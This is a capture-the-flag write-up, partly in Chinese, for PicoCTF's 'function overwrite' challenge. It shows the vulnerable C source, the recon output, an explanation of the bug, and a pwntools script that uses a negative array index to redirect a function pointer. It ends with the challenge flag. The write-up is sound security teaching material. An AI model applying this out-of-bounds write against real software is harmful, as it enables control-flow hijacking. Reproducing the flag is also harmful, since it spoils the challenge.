PicoCTF - function overwrite

PicoCTF - function overwrite

Background

Array Bound

Source code

:::spoiler Source Code

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <wchar.h>
#include <locale.h>

#define BUFSIZE 64
#define FLAGSIZE 64

int calculate_story_score(char *story, size_t len)
{
  int score = 0;
  for (size_t i = 0; i < len; i++)
  {
    score += story[i];
  }

  return score;
}

void easy_checker(char *story, size_t len)
{
  if (calculate_story_score(story, len) == 1337)
  {
    char buf[FLAGSIZE] = {0};
    FILE *f = fopen("flag.txt", "r");
    if (f == NULL)
    {
      printf("%s %s", "Please create 'flag.txt' in this directory with your",
                      "own debugging flag.\n");
      exit(0);
    }

    fgets(buf, FLAGSIZE, f); // size bound read
    printf("You're 1337. Here's the flag.\n");
    printf("%s\n", buf);
  }
  else
  {
    printf("You've failed this class.");
  }
}

void hard_checker(char *story, size_t len)
{
  if (calculate_story_score(story, len) == 13371337)
  {
    char buf[FLAGSIZE] = {0};
    FILE *f = fopen("flag.txt", "r");
    if (f == NULL)
    {
      printf("%s %s", "Please create 'flag.txt' in this directory with your",
                      "own debugging flag.\n");
      exit(0);
    }

    fgets(buf, FLAGSIZE, f); // size bound read
    printf("You're 13371337. Here's the flag.\n");
    printf("%s\n", buf);
  }
  else
  {
    printf("You've failed this class.");
  }
}

void (*check)(char*, size_t) = hard_checker;
int fun[10] = {0};

void vuln()
{
  char story[128];
  int num1, num2;

  printf("Tell me a story and then I'll tell you if you're a 1337 >> ");
  scanf("%127s", story);
  printf("On a totally unrelated note, give me two numbers. Keep the first one less than 10.\n");
  scanf("%d %d", &num1, &num2);

  if (num1 < 10)
  {
    fun[num1] += num2;
  }

  check(story, strlen(story));
}
 
int main(int argc, char **argv)
{

  setvbuf(stdout, NULL, _IONBF, 0);

  // Set the gid to the effective gid
  // this prevents /bin/sh from dropping the privileges
  gid_t gid = getegid();
  setresgid(gid, gid, gid);
  vuln();
  return 0;
}

:::

Recon

$ file vuln
vuln: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=8b6f3ccbb344c3ba91ef077e29c8ab9d6e2da011, for GNU/Linux 3.2.0, not stripped
$ checksec vuln
[*] '/mnt/d/NTU/CTF/PicoCTF/PWN/function overwrite/vuln'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

這一題比想像中簡單,流程是這樣的,他的function pointer原本預設是指像hard_checker,而它裡面做的事情就是把我們輸入的所有字元以ascii的方式加總,如果加總的結果是13371337,就可以讀到flag,但是我們可以做一個簡單的換算,一個字元最多1 byte,也就是最大0xff,他設定最多只能輸入127個字元,代表0xff*127=32385,遠遠低於13371337,而題目有提供另外一個checker也就是easy_checker,他只需要最後的加總是1337就可以了,代表完全有可能實現(例如:’z’*10+’u’$\to$0x7a*10+0x75),現在的問題是要怎麼把一開始的function pointer指向easy_checker?

題目故意叫我們輸入兩個數字還特別在hint的地方說

Don’t be so negative 其實就是題是array bound的問題,所以簡單用gdb跟一下就可以換算fun array和check function pointer之間的差距還有該加上多少會變成easy_checker的地址

Exploit

from pwn import *

# r = process('./vuln')
r = remote('saturn.picoctf.net', 58094)
easy_checker_addr = 0x080492fc
r.recvuntil(b'>> ')
r.sendline(b'z' * 10 + b'u')
r.recvline()
r.sendline(b'-16')
r.sendline(b'-314')

r.interactive()

Flag: picoCTF{0v3rwrit1ng_P01nt3rs_ded38e3b}